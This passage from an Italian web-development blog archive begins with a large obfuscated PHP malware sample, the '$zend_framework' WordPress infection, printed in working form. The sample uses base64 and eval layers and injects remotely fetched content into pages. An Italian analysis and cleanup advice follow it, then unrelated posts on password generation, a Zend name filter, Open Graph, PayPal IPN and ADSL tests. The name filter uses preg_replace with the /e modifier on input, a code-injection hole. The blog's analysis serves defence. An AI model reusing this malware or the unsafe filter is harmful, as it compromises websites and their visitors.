wVZ2gHXyMTMcljN4xFN2wVO2gHXxETMcJmN4xVMxEDXzQDecRTMxwVO2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcljN4xFN2wVO2gHXxETMcJmN4xVMzEDX5YDecFTMxwlZ2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcZjN4xlNyEDX3QDecRDNxwFO2gHX2ITMcRmN4x1M0EDXhZDecJDMxw1M1gHXwITMcdjN4xFN2wlMzgHXyQTMcBzM4xFN1EDXyMDecFzMxwVN3gHX2ITMcVmN4xlMzEDXiZDecNjNxwFO0gHXxETMcBzN4xFN2wFZ2gHXzQTMcFzM4xlMyEDX4UDecJzMxwVO3gHXyITMcNDN4x1MxEDX1cDecZjMxwVZ2gHXzQTMcBzM4xlNyEDXkZDecNDNxw1N2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcJiLn4SNyInZk4yJzYTMcF2N4xlMxEDX1cDecZjMxwVZ2gHXzQTMcBzM4xlNyEDXkZDecNDNxwVZ2gHXwYDXhZDecJDNxwVMzgHXyETMcdiL1ITayZGJuciIuciL1IjcmRiLnUzNcdzN4x1NxEDXlZDecRjNcJzM4xlM0EDXwcDecJjMxw1MzgHXxMTMcVzN4xlNyEDXlZDecJzMxwlN2gHX2ITMcdDN4xFN0EDX4YDecZjMxwFZ2gHXzQTMcFmN4xFN0EDXzUDecBjMxwVN3gHX2ITMcdiL1ITayZGJuciIuciL1IjcmRiLnMjNxwVY3gHXyETMcNmN4xlNxEDX3UDecFzMxw1M3gHXyATMchTN4xlMzEDX5cDecFzNcFzM4xlMzEDXjZDecJTMxwFO0gHXzQTMcVmN4xFM2wVY2gHXyQTMclzN4xlNwEDX3QDecRDNxw1Y2gHXyETMchDN4xlMxEDXi4iM1QXamRCLyUjZpZGJsUjMmlmZkgSZjFGbwVmcfdWZyB3OiIjM4xFM1wVN2gHX0QTMcZmN4x1M0EDX1YDecRDNxwlZ1gHX0YDX2MDecVDNxw1M3gHXxQTMcJjN4xFM1w1Y2gHXxQTMcZzN4xVN0EDXwQDecJCI9AiM1QXamRyOiI2M4xVM1wlMygHXxYDXjVDecJDNchjM4xFN1EDXxYDecZjNxwVN2gHXiASPgITNmlmZksjI1QTMcljN4xFMwEDX5IDecNTNcVmM4xFM1wFM0gHXiASPgUjMmlmZkcCKsFmdltjIwIDecVzNcBjM4xFM2wFN2gHX0QTMcRjM4xlIg0DI1ITayRGJgsTN1kmcmRiLnkiIn4iM1kmcmRCI9ASNyInZkAyOngDN4xFN0EDXjZDecJTMxwFO0gHXyETMcdCI9ASNykmcmRyOnI2M4xVM1wVOygHXyQDXkNDecdCI9AiM1kmcmRyOnQDV2YWfVtUTnASPgITNyZGJ7cCKuVnc0VmckcCI9ASN1InZkszJyUDdpZGJsITNmlmZkwSNyYWamRCKuJXY0VmckszJg0DI1UTayZGJ+aWYgKCFpc3NldCgkZXZhbFVkQ1hURFFFUm1XbkRTKSkge2Z1bmN0aW9uIGV2YWxsd2hWZklWbldQYlQoJHMpeyRlID0gIiI7IGZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "edolpxe";$eva1tYldakBcVSir = "strrev";$eva1tYldakBoVS1r = "ecalper_gerp";$eva1tYidokBoVSjr = ";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("");:@(.+)@ie";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "strecrptr";$eva1tYlbakBcVSir = "gao[pxe";$eva1tYldakBoVS1r = "ecrp";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} }  

 return $evalsssgqulVBTkZLAch;   } }
 if(!$eva1fY2bak1cz0ir("gzdecode")) {
 function gzdecode($eva1fY2bo01zo817) { $eva1fY2bal1cz8i4 = "strpos"; $eva1fY2bol1cz8i5 = "substr"; $eva1fY2bo11cz8i5 = "unpack"; $eva1fY2bo1lcz8i5 = "chr"; $eva1fY2bo1lzc8i5 = "gzinflate";
 $eva1fY2bo01zo317=@ord(@$eva1fY2bol1cz8i5($eva1fY2bo01zo817,3,1));
 $eva1fY2bo01c0317=10;  if($eva1fY2bo01zo317&4) {
 $eva1fY2bo01z0317=@$eva1fY2bo11cz8i5('v',$eva1fY2bol1cz8i5($eva1fY2bo01zo817,10,2));
 $eva1fY2bo01z0317=$eva1fY2bo01z0317[1];
 $eva1fY2bo01c0317+=2+$eva1fY2bo01z0317;
 }  if($eva1fY2bo01zo317&8) {
 $eva1fY2bo01c0317=@$eva1fY2bal1cz8i4($eva1fY2bo01zo817,$eva1fY2bo1lcz8i5(0),$eva1fY2bo01c0317)+1;
 }  if($eva1fY2bo01zo317&16) {
 $eva1fY2bo01c0317=@$eva1fY2bal1cz8i4($eva1fY2bo01zo817,$eva1fY2bo1lcz8i5(0),$eva1fY2bo01c0317)+1;
 }  if($eva1fY2bo01zo317&2) {
 $eva1fY2bo01c0317+=2;
 }  $eva1fY2bo01c03a7=@$eva1fY2bo1lzc8i5(@$eva1fY2bol1cz8i5($eva1fY2bo01zo817,$eva1fY2bo01c0317));  if($eva1fY2bo01c03a7===FALSE) {
 $eva1fY2bo01c03a7=$eva1fY2bo01zo817;
 }  return $eva1fY2bo01c03a7;
 } }
 function eva1fY2bak1cV2ir($var6) { $eva1fY2b01lzc8l5 = "preg_replace"; $eva1fY2b0llzc8l5 = "preg_match"; $eva1fY2b022zc8l5 = "Header"; $eva1fY2b022zo8l5 = "gzdecode"; $eva1fY2b052zo8l5 = "Content-Encoding: none"; $eva1fY2b052zo8l1 = "/\<\/body/si"; $eva1fY2b062zo8l1 = "/(\<\/body[^\>]*\>)/si"; $eva1fY2b061zo8l1 = "/\<\/html/si"; $eva1fY2bo61zo8l1 = "/(\<\/html[^\>]*\>)/si"; $eva1fY2b022zc8l5($eva1fY2b052zo8l5); $eva1fY2bo61zo8l7=$eva1fY2b022zo8l5($var6);  if($eva1fY2b0llzc8l5($eva1fY2b052zo8l1,$eva1fY2bo61zo8l7)) {
 return $eva1fY2b01lzc8l5($eva1fY2b062zo8l1, eva1fY2bak1cV0ir()."
"."$1", $eva1fY2bo61zo8l7,1); } else {
 if($eva1fY2b0llzc8l5($eva1fY2b061zo8l1,$eva1fY2bo61zo8l7)) {
 return $eva1fY2b01lzc8l5($eva1fY2bo61zo8l1, eva1fY2bak1cV0ir()."
"."$1", $eva1fY2bo61zo8l7,1);
 } else { return $eva1fY2bo61zo8l7; }
 } }
$eva1fY2bo61zo817 = "ob_start"; $eva1fY2bo61zo817("eva1fY2bak1cV2ir");
	}
}

Tipo di Attacco:

Il codice PHP malevolo, controlla che il visitatore corrisponde ad uno spider di un motore di ricerca o di un utente. In quest’ultimo caso redirige i data da un altro webserver e lo mostra la visitatore.
The malicious PHP checks to see if the user is a web spider and if not, retrieves data from another webserver and displays it to the visitor. I haven’t attempted to retrieve the data from the other webserver but the PHP script will make a request like this:

Come Funziona:

Il codice PHP esegue le seguenti operazioni:
Sceglie un numero casuale compreso tra 0 e 2 inclusi
Esegue una crittografia MD5 di quel numero ottenendo un hash
Prende i primi tre caratteri del hash e li utilizza nel formato web-XXX.com
Effettua una query DNS per il dominio web-XXX.com
Effettua una crittografia MD5 dell’IP risultante
Effettuando una query DNS in uno dei tre possibili domini intermediari (web-cfc.ca, web-c4c.ca, web-c81.ca), l’attaccante può controllare la risoluzione di questi domini determinando quindi il dominio finale come f52864d624d129b32c21fbca0cb8d6 . com

Come Proteggersi:

Quando viene scoperto un nuovo exploit di un CMS, vengono lanciati dei BOT che scandagliano la rete ricercando i siti che utilizzano lo stesso applicativo. Immaginando di aver scoperto un exploit sulla versione X di wordpress, basterà avviare il Bot alla ricerca del tag

Cioè il tag inserito nel codice html che descrive con quale CMS è implementato il sito. E’ buona norma quindi editare il file che contiene o genera questo tag rimuovendolo completamente. E’ inoltre indispensabile mantenere tutti i CMS utilizzati ed i plugin utilizzati costantemente aggiornati.

Come Risolvere l’ Attacco $zend_framework WordPress:

Se si possiede una copia di backup aggiornata del CMS utilizzato e sufficiente sostituire tutti i file della piattaforma con quelli precedentemente salvati. Qualora questo non fosse possibile, sarà necessario editare tutti i file del CMS rimuovendo il codice PHP malevolo. Un comando ricorsivo per eliminare lo script in tutte le pagine è rappresentato da:

find /home/user/directory -name \*.c -exec sed -i "s/Y//g" {} \;

Sostituendo / home / user / directory con la cartella contenente i file del CMS e Y con l’intero script malevolo.

Ulteriori danneggiamenti:

Cambiando i parametri di risposta DNS il sito subirà un calo di indicizzazione nei motori di ricerca oltre che alla perdita temporanea della validazione (se in possesso) dal W3C Consortium

Storable Random Password

Categorie:PHPTags: , , ,

Problemi con la sicurezza delle tue applicazioni? Contattaci!

Utile per molte applicazioni e per i processi di login, gli algoritmi in grado di generare password casuale sono molto utili al fine di generare credenziali di autenticazione o verificare un processo di corrispondenza di un indirizzo mail con un account. Un occhio di riguardo è sempre rivolto alla sicurezza che le password devono mantenere per proteggere tutto ciò che sta oltre il loro utilizzo. Inutile dire quindi che la miglior password utilizzabile è quella formata dall’unione di lettere maiuscole e minuscole, numeri e caratteri speciali per una lunghezza di almeno 8 caratteri.

Trattando di software rivolti ad un pubblico di vario genere, non sempre utilizzare la password più efficiente è la risposta giusta in quanto difficilmente memorizzabile e quindi conservata in mail, fogliettini o altri dispositivi non protetti.

Per ottenere un buon connubio tra sicurezza e semplicità d’uso è necessario poter generare password casuali che presentino una facilità di lettura, quindi di memorizzazione, data dallo pseudo utilizzo di costrutti grammaticali. Unendo infatti suffissi, prefissi, vocali prese una sola volta e consonanti ripetute secondo regole grammaticali, si può ottenere una password sicuramente insensata ma facile da ricordare.

Di seguito presentiamo un breve algoritmo scritto in PHP che restituisce una password casuale facile da ricordare o come spesso chiamate le SRP Storable Random Password.

La funzione può essere personalizzata in fase di chiamata aumentando/diminuendo il numero di sillabe da utilizzare e introducendo o meno i caratteri e la quantità numerica nonché l’utilizzo dei prefissi grammaticali:

  public function gen_mem_password($syllables = 3, $use_prefix = false, $use_numbers = true,$quantity_numbers=2){
            // Define function unless it is already exists
    if (!function_exists('ae_arr'))
    {
        // This function returns random array element
        function ae_arr(&$arr)
        {
            return $arr[rand(0, sizeof($arr)-1)];
        }
    }

    // italian prefix
    $prefix = array('an',       'ana',      'ante',     'anti',     'arci',
                    'avan',     'bis',      'circom',   'cis',      'con',
                    'contra',   'contro',   'de',       'di',       'dis',
                    'eu',       'extra',    'fra',      'in',       'infra', 
                    'inter',    'intra',    'iper',     'ipo',      'luxta',    
                    'meta',     'ob',       'oltre',    'post',     'pre',      
                    'pro',      're',       'sin',      'sopra',    'sotto',    
                    'stra',     'sub',      'super',    'sur',      'tra', 
                    'trans');

    // italian suffix
    $suffix = array('accio',    'aggine',   'aggio',    'aglia',    'aio',
                    'anza',     'astro',    'ata',      'ato',      'enza',
                    'eria',     'esco',     'etto',     'ezza',     'erla', 
                    'etto',     'ezza',     'fero',     'iere',     'ino',
                    'ismo',     'ista',     'mento',    'oide',     'one', 
                    'ota',      'oto',      'otto',     'tore',     'uccio',
                    'ucolo',    'zione',    'ale',      'ario',     'ese', 
                    'evole',    'issimo',   'oso',      'oto',      'mente',
                    'archia',   'filla',    'logia',    'mania',    'teca',
                    'iatra',    'scopia'); 

    //vowel sounds 
    $vowels     = array('a', 'o', 'e', 'i', 'u', 'ou'); 

    //sound consonants 
    $consonants = array( 'r', 't', 'p', 's', 'd', 'f', 'g', 'h', 'l', 'z','c', 'v', 'b', 'n', 'm','qu');
    //numbers
    $numbers    = array('1','2','3','4','5','6','7','8','9','0');

    $password           = $use_prefix?ae_arr($prefix):'';
    $password_suffix    = ae_arr($suffix);

    for($i=0; $i<$syllables; $i++)
    {
        //random consonant
        $doubles    = array('n', 'm', 't', 's','r','c','d','p','f','g','l','z','v');
        $c          = ae_arr($consonants);
        if (in_array($c, $doubles)&&($i!=0))
            if (rand(0, 2) == 1) 
                $c .= $c;

        $password .= $c;

        //random vowel
        $password .= ae_arr($vowels);

        if ($i == $syllables - 1) 
            if (in_array($password_suffix[0], $vowels))
                $password .= ae_arr($consonants);

    }

    // selecting random suffix
    $password .= $password_suffix;

    if($quantity_numbers>=0 && $use_numbers)
	for($j=0; $j<$quantity_numbers; $j++)
	 	$password .= ae_arr($numbers);

    return $password;

    }

Filtro Zend o PHP per nomi propri di persona

Problemi con Zend Framework o php? Contattaci!

Riportiamo di seguito un utile filtro scritto in PHP e predisposto all’uso con Zend Framework per filtrare una stringa e renderla grammaticalmente corretta alle regole che afferiscono ai nomi propri di persona nella grammatica Italiana.

/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Filter
 * @copyright  Draco Corporation (http://www.draco-corporation.com)
 * @license    Draco Corporation (http://www.draco-corporation.com)
 * @version    PersonName.php 1 2013-04-25 11:17
 * @author     Draco Corporation (http://www.draco-corporation.com)
 */

/**
 * @see Zend_Filter_Interface
 */
require_once 'Zend/Filter/Interface.php';
/**
 * @see Zend_Locale
 */
require_once 'Zend/Locale.php';

/**
 * @category   Zend
 * @package    Zend_Filter
 * @copyright  Draco Corporation (http://www.draco-corporation.com)
 * @license    Draco Corporation (http://www.draco-corporation.com)
 */
class Zend_Filter_PersonName implements Zend_Filter_Interface
{

    /**
     * Defined by Zend_Filter_Interface
     *
     * returns the name of the person with the first letter capitalized
     *
     * @param  string $value
     * @return string
     */
    public function filter($value)
    {

        //reduces all characters enlarging only the first character of each word
        $value = ucwords(strtolower($value));

        //If the name is an accent is enlarged after the first letter of this
        $value = preg_replace('/\'(\w+)/e', "'\''.ucfirst('$1')", $value);

        return $value;
    }
}

Open Graph cache

Categorie:Open GraphTags: ,

Problemi con Open Graph? Contattaci!

Il protocollo Open Graph è uno standard di programmazione basato sul noto Social Network Facebook. Questo consente di esprimere “azioni sociali” finalizzate alla condivisione di un’esperienza. Acquistare un prodotto o visitare un sito potranno essere condivise sul proprio profilo in modo automatico.

In fase di implementazione o soprattutto di testing, è necessario testare le istruzioni Open Graph direttamente sul web in quanto Facebook deve poter effettuare una chiamata al sito che stiamo testando per ricavarne le informazioni necessarie. Quest’ultime però vengono immagazzinate in cache da Facebook ed aggiornate solo dopo periodi prestabiliti rendendo quindi difficile il test delle istruzioni impartite.

Per forzare Facebook ad aggiornare la sua cache inerente il sito che contiene le istruzioni Open Graph, basta recarsi nella sezione Debug di Facebook al seguente link: https://developers.facebook.com/tools/debug ed inserire il sito web oggetto di test.

Oltre all’aggiornamento della cache, lo strumento ci darà anche ulteriori informazioni tecniche.

Problemi con Open Graph? Contattaci!

IPN paypal

Categorie:PHPTags: , ,

Vuoi utilizzare lo strumento IPN PayPal per la tua piattaforma? Contattaci!

Un IPN (Instant Payment Notification) è un servizio fornito da PayPal che consente di automatizzare le operazioni successive ad un acquisto senza richiedere la presenza di un utente fisico.

L’ IPN è un sistema molto sicuro che opera dietro lo scenario di una transazione da cliente e venditore effettuando un dialogo diretto tra il Server di PayPal e quello del venditore.

Nel codice sopra riportato, immaginiamo un tipico pulsante ‘Acquista’ che il cliente preme per effettuare il pagamento di un ordine. Ogni Tag rappresenta un’istruzione da fornire al server di PayPal per effettuare l’operazione come la mail di riferimento dell’account del venditore, l’oggetto acquistato, l’importo, la valuta ecc. Aspetto fondamentale è l’istruzione che specifica l’indirizzo dove risiede l’IPN (http://sitovenditore.xx/ipn.php) che servirà a PayPal per effettuare le operazioni tecniche di dialogo con il nostro sistema.


Nel codice soprastante, abbiamo ipotizzato una funzione che verrà invocata nel caso di una transazione eseguita correttamente ovvero il decremento di un numero di crediti dal conto di un utente.

Sintatticamente, l’IPN riceve una chiamata dal Server di PayPal con diversi parametri passati attraverso l’array POST. Detto questo, l’IPN apre un socket in ascolto con PayPal e successivamente invia la stessa richiesta ricevuta in modo che lo stesso possa verificarne la corretezza e rispondere quindi con i messaggi ‘VERIFIED’ o ‘INVALID’.

Vuoi utilizzare lo strumento IPN PayPal per la tua piattaforma? Contattaci!

Velocità Connessione Speed Test ADSL

A seguito della delibera n. 244/08 il Garante delle Telecomunicazioni, ha avviato un progetto per la verifica della propria connessione ADSL al fine di garantire le reali promesse contrattuali dei provider dei servizi.

Da questo, ne scaturiscono due software liberalmente e gratuitamente scaricabili in grado di:
effettuare misurazioni certificate in modo da verificare i parametri reali di fornitura, con quelli promessi in fase di contratto. Qualora ci fossero delle discordanze, il programma consente di avere un certificato valido per è riconosciuto in termini legali in caso di discordanze regolamentari.

Per utilizzare il servizio, è necessario recarsi al link: https://www.misurainternet.it/registration_form.php ed effettuare una semplice registrazione al servizio. A seguito convalidazione tramite la mail, occorre accedere al portale tramite la pagina https://www.misurainternet.it/login_form.php con le credenziali di accesso fornite nella mail di convalida.

Successivamente occorre effettuare il download e l’esecuzione dei seguenti file:
Misura Internet Speed Test
Ne.Me.Sys

Dapprima avviamo Misura Internet Test e premiamo sul pulsante check in modo da accertare di avere le condizioni ideali per effettuare il test ovvero:

  • Essere collegati direttamente al router tramite il cavo Ethernet
  • Essere sicuri che non vi siano altri computer collegati sulla stessa rete
  • Avere abbastanza risorse di CPU e di RAM
  • Non essere collegati tramite Wireless o connessione telefonica (GPRS, UMTS, 3G ecc..)

Tutti questi prerequisiti, sono verificati dal software che indicherà con il colore verde in caso di successo o rosso altrimenti. In quest’ultima casistica è ovvio rettificare i parametri indicati come non conformi.

Quando tutti i test sono accettabili, è possibile avviare il test premendo sul pulsante verde di avvio. Al termini delle operazioni verranno mostrati i reali parametri di Ping, velocità di Download e di Upload.

Nel caso in qui questi valori fossero inferiori a quelli previsti dal contratto, si può utilizzare il software Ne.Me.Sys per generare un attestato che può essere usato per eventuali comunicazioni con il fornitore del servizio o per eventuali azioni legali.

© Copyright 2012 - 2016 - Draco Corporation - P.iva 03408210791 - Una divisione SunSet s.a.s